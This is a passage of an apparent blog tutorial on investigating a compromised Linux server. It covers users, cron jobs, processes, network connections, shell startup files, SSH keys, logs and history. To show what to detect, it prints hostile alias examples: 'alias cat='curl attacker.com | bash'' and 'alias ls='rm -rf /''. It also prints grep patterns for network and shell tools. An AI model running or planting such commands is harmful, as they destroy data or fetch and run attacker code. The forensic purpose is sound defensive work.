&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Usernames that don’t follow your system’s naming convention&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Recently added accounts&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Accounts with login shells like /bin/bash (vs. /sbin/nologin or /usr/sbin/nologin)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can also sort users by creation time (if your distro tracks /home timestamps):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls -lt /home
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🕵️‍♂️ Step 3: Identify Recently Modified or Suspicious Files
&lt;/h2&gt;

&lt;p&gt;After gaining access, attackers often modify configuration files, upload malware, or leave behind backdoors. Checking for recently changed files can reveal important clues.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Find recently modified files:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find /etc -type f -mtime -5 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command lists all regular files in /etc that were modified in the last 5 days. You can change -5 to any number of days depending on when you suspect the compromise occurred.&lt;/p&gt;

&lt;p&gt;You can also check for recently modified files system-wide:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find / -type f -mtime -5 -ls 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔸 Look for:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Modifications to SSH config: /etc/ssh/sshd_config&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unexpected cron jobs: /etc/cron*&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Backdoors in bash/profile scripts: .bashrc, .bash_profile, /etc/profile, etc.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Files with strange names or locations like /tmp/.xyz, /var/tmp/.abc, or /dev/shm/shell&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🔒 Step 4: Check for Unauthorized Scheduled Tasks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  🔸 Check system-wide cron jobs:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat /etc/crontab
ls -l /etc/cron.*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔸 Check user-specific cron jobs:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for user in $(cut -f1 -d: /etc/passwd); do
  crontab -l -u $user 2&amp;gt;/dev/null
done

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🧠 Step 5: Analyze Running Processes for Anomalies
&lt;/h2&gt;

&lt;p&gt;After a breach, attackers often run hidden or suspicious processes to maintain persistence. Investigating running processes can reveal malware, reverse shells, or rogue services.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 List all active processes:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ps auxf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔸 Sort processes by start time to catch recent entries:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ps -eo pid,ppid,user,args --sort=start_time
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Processes running from unusual directories like /tmp, /dev/shm, or /var&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Legitimate-looking names (e.g., apache, kworker, cron) running from shady paths&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Processes owned by regular users but performing high-privilege tasks&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Long-running shell or Python processes without an obvious purpose&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🌐 Step 6: Inspect Network Connections and Open Ports
&lt;/h2&gt;

&lt;p&gt;A compromised server often has active connections to attacker-controlled hosts or is listening on unexpected ports. Monitoring network activity is crucial for spotting data exfiltration, reverse shells, or backdoors.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Show all active network connections:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ss -tulnp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or, if ss isn’t available:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;netstat -tulnp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔸 Check for established outbound connections:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ss -tanp | grep ESTABLISHED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Listening services on high or uncommon ports&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Processes listening on 0.0.0.0 (all interfaces) unexpectedly&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Connections to unfamiliar IPs, especially on ports like 4444, 8080, 1337, or other non-standard ports&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reverse shell patterns (e.g., an outbound connection from a shell binary)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🕵️‍♂️ Step 7: Inspect Shell Initialization Files and Aliases
&lt;/h2&gt;

&lt;p&gt;Attackers often leave behind persistent access via bash aliases, modified shell initialization files, or backdoors hidden in commonly loaded scripts. These files are executed automatically when a user logs in, making them a perfect place for stealthy payloads.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check .bashrc, .bash_profile, and .profile for suspicious entries:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grep -E 'alias|nc|wget|curl|python|sh|bash' /home/*/.bashrc /home/*/.bash_profile /home/*/.profile 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔸 Also check system-wide equivalents:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grep -E 'alias|nc|wget|curl|python|sh|bash' /etc/bash.bashrc /etc/profile 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Aliases that override standard commands (e.g., alias ls='rm -rf /')&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Calls to nc, curl, wget, python, bash, or remote URLs&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Obfuscated or base64-encoded commands&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Auto-executed reverse shells or unknown binaries&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🧪 Step 7: Examine Shell Startup Files for Persistent Backdoors
&lt;/h2&gt;

&lt;p&gt;Attackers often leave persistence mechanisms by modifying shell startup scripts. These can execute malicious payloads whenever a user logs in or opens a shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat /etc/profile
cat /etc/bash.bashrc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔸 Check user dotfiles:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat ~/.bashrc
cat ~/.bash_profile
cat ~/.profile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Aliases that override commands (e.g., alias ls='rm -rf /')&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Suspicious curl, wget, nc, bash, or Python commands&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unusual environment variables or PATH modifications&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Base64-encoded blobs or obfuscated scripts&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tip: Use grep to find common keywords:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grep -E 'curl|wget|nc|bash|python|base64' ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🧑‍🔧 Step 8: Check for Unauthorized Root or Sudo Users
&lt;/h2&gt;

&lt;p&gt;Attackers often add themselves to privileged groups like sudo or wheel to maintain full control over the system. It's critical to identify all users with elevated permissions.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 List users in the sudo group:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;getent group sudo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On RHEL / AlmaLinux / CentOS systems, use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;getent group wheel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should also check for accounts with UID 0, which indicates root-level access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awk -F: '$3 == 0 { print $1 }' /etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🔍 Watch out for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Unknown usernames in sudo or wheel groups&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Multiple accounts with UID 0&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Suspicious or generic-looking usernames with elevated privileges&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If you find any unfamiliar entries, investigate immediately — especially &lt;br&gt;
if they were created recently.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  📜 Step 9: Analyze Log Files for Signs of Intrusion
&lt;/h2&gt;

&lt;p&gt;System log files are one of the most important sources of evidence when investigating a compromised Linux server. They can help you track login attempts, sudo activity, privilege escalation, and other unauthorized actions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# For authentication attempts and sudo usage
cat /var/log/auth.log        # Debian/Ubuntu
cat /var/log/secure          # RHEL/CentOS/AlmaLinux

# General system messages (including kernel &amp;amp; service errors)
cat /var/log/messages

# SSH activity
grep sshd /var/log/auth.log  # or /var/log/secure

# Recent logins with sudo
grep 'sudo' /var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🔍 Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Multiple failed login attempts (brute force patterns)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Logins from unexpected IP addresses or at unusual times&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unrecognized use of sudo or su&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Commands run with elevated privileges&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Creation of new users or modification of existing ones&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Signs of tampering (e.g., log cleared, log rotated suspiciously)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;💡 Tip: You can use less, grep, or journalctl for better searching:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;journalctl -xe
grep -i 'failed\|invalid\|error' /var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🔐 Step 10: Inspect SSH Keys and Remote Access Configurations
&lt;/h2&gt;

&lt;p&gt;After a compromise, attackers often install their own SSH keys to maintain silent, passwordless access even if you change user passwords. It's crucial to audit your SSH key configurations.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check for unfamiliar or suspicious SSH keys:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat ~/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also review other users’ SSH keys:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find /home -type f -name "authorized_keys" -exec cat {} \; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Long unfamiliar key strings&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Keys added recently (check file modification date: ls -l ~/.ssh/authorized_keys)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Multiple keys for users who shouldn’t have remote access&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔸 Inspect system-wide SSH configuration:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat /etc/ssh/sshd_config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;PermitRootLogin yes → 🚨 risky if enabled&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;PasswordAuthentication yes → 🚨 allows brute-force attacks&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;AuthorizedKeysFile → ensure it's not pointing to suspicious locations&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;AllowUsers or DenyUsers → check for unexpected entries&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;💡 Tip: Also check for hidden .ssh folders:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find /home -type d -name ".ssh" -ls 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🧰 Step 11: Audit Installed Tools and Potentially Abused Binaries
&lt;/h2&gt;

&lt;p&gt;Attackers often rely on common Linux tools like curl, wget, python, or netcat (nc) for downloading payloads, creating reverse shells, or exfiltrating data. It’s important to ensure these tools haven’t been replaced or abused.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check for suspicious binaries or modifications:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;which curl wget nc python bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then verify their integrity (Debian/Ubuntu example):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;dpkg -V curl wget netcat python3 bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On RHEL/AlmaLinux/CentOS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rpm -V curl wget nmap nc python3 bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Unexpected file changes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Binaries with altered sizes or checksums&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Replaced tools located in suspicious paths like /tmp, /dev/shm, /home/user/.local/bin&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔸 Search for alternative tools or renamed backdoors:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find / -type f -perm -111 -exec file {} \; 2&amp;gt;/dev/null | grep -i "elf"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This helps locate all executable binaries across the system, useful to catch renamed tools or binaries dropped by attackers.&lt;/p&gt;

&lt;p&gt;💡 Tip: Pay special attention to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Binaries in /usr/local/bin, /tmp, or /home/*/.local/bin&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Custom versions of known tools like python, nc, or bash&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hidden files starting with . (e.g., .bash, .curl)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  📜 Step 12: Review System Logs for Signs of Intrusion
&lt;/h2&gt;

&lt;p&gt;System logs are one of the most valuable sources for understanding what happened before, during, and after a compromise. Reviewing these logs can reveal unauthorized login attempts, privilege escalation, command histories, and more.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check authentication logs:
&lt;/h3&gt;

&lt;p&gt;On Debian/Ubuntu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;less /var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On RHEL/AlmaLinux/CentOS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;less /var/log/secure
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Failed or unusual login attempts&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Successful root logins (session opened for user root)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sudden group membership changes (e.g., added to sudoers)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔸 Check system reboots and shutdowns:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;last reboot
last shutdown
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Unscheduled reboots or shutdowns may signal that an attacker rebooted the system after making changes.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Review sudo usage:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grep 'sudo:' /var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grep 'sudo:' /var/log/secure
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Suspicious sudo commands&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Privilege escalation by unknown or unauthorized users&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔸 Check for suspicious logins from unknown IPs:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;last -i | grep -v 'your-known-ip-or-subnet'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;💡 Tip: Focus on events close to the suspected breach time — sudden login spikes, unexpected root access, or new user creation around that time are all red flags.&lt;/p&gt;

&lt;h2&gt;
  
  
  🧩 Step 13: Check for Aliases and Function Overrides (Command Hijacking)
&lt;/h2&gt;

&lt;p&gt;One sneaky trick attackers use is command hijacking — redefining commonly used commands with malicious alternatives via shell aliases or functions. These overrides are often invisible unless you explicitly check for them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alias
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alias ls='rm -rf /'
alias cat='curl attacker.com | bash'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or any alias pointing to remote scripts or unknown binaries.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 List all shell functions (may override real commands):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;declare -f
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This shows all function definitions in the current shell. Look for:&lt;/p&gt;

&lt;p&gt;Functions named after common commands (ls, cat, ps, whoami)&lt;/p&gt;

&lt;p&gt;Any suspicious content in those functions, such as base64, curl, nc, or reverse shell payloads&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check system-wide aliases:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grep alias /etc/bash.bashrc /etc/profile 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grep -E 'alias|function' /etc/*rc /etc/profile 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🛡 If you find any overrides, especially for commonly used commands, remove or comment them out immediately and investigate further.&lt;/p&gt;

&lt;h2&gt;
  
  
  🌍 Step 14: Inspect User Environment Variables and PATH Manipulation
&lt;/h2&gt;

&lt;p&gt;Attackers sometimes modify environment variables to alter system behavior or hide malicious activity. The most common targets are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;PATH — to hijack command resolution&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;LD_PRELOAD, LD_LIBRARY_PATH — for injecting malicious libraries&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;PS1 — to spoof shell prompts and trick admins&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pay attention to:&lt;/p&gt;

&lt;p&gt;PATH containing suspicious directories like /tmp, /dev/shm, or unknown entries at the beginning (attackers may place their binaries there to override real commands)&lt;/p&gt;

&lt;p&gt;LD_PRELOAD or LD_LIBRARY_PATH — these should be empty or unset unless specifically configured&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check for .bashrc or .profile modifications:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grep PATH ~/.bashrc ~/.profile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for malicious prepending like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;export PATH="/tmp/bin:$PATH"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or:&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check for PS1 spoofing (fake prompt):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo $PS1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A normal PS1 might look like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[\u@\h \W]\$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But a spoofed one could hide user/root identity, current directory, or other cues.&lt;/p&gt;

&lt;p&gt;🛡 If any of these look suspicious, investigate the corresponding file (like .bashrc, .profile, etc.) and sanitize it.&lt;/p&gt;

&lt;h2&gt;
  
  
  🧾 Step 15: Review Command History for Suspicious Activity
&lt;/h2&gt;

&lt;p&gt;Shell history files can be a goldmine during post-breach analysis — especially if the attacker wasn’t careful or didn’t wipe them.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check the current user's history:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat ~/.bash_history
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔸 Check history files for all users:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find /home -name ".*_history" -exec ls -l {} \;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To inspect the contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find /home -name ".*_history" -exec cat {} \; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🔍 Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Usage of tools like nc, curl, wget, python, bash&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cleanup commands like history -c or unset HISTFILE&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Installation of suspicious packages or SSH config changes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;File permission modifications (e.g., chmod 777, chattr)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Downloading or executing unknown scripts&lt;/p&gt;

&lt;p&gt;💡 Tip: If you see that the history file is empty or missing, it could be a sign that the attacker tried to cover their tracks.&lt;/p&gt;

&lt;h2&gt;
  
  
  🧯 Step 16: Detect Log Wiping or Tampering
&lt;/h2&gt;

&lt;p&gt;One of the first things a smart attacker does is cover their tracks by wiping or manipulating log files. Detecting this tampering can confirm a breach and help you estimate its timeline.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Look for unusually small or recently emptied log files:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls -l /var/log | sort -k5 -n

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This sorts logs by size. Be suspicious of logs like auth.log, secure, or messages that are abnormally small or have been modified recently.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check file modification times:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;stat /var/log/auth.log
stat /var/log/secure
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at the Modify and Change timestamps — a sudden update without corresponding activity inside the file may suggest wiping.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check logrotate activity:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat /etc/logrotate.conf
ls -l /etc/logrotate.d/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If logs were rotated right before or after suspicious activity, check backups or older rotated files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls -l /var/log/*.gz
zcat /var/log/auth.log.1.gz | grep 'ssh'
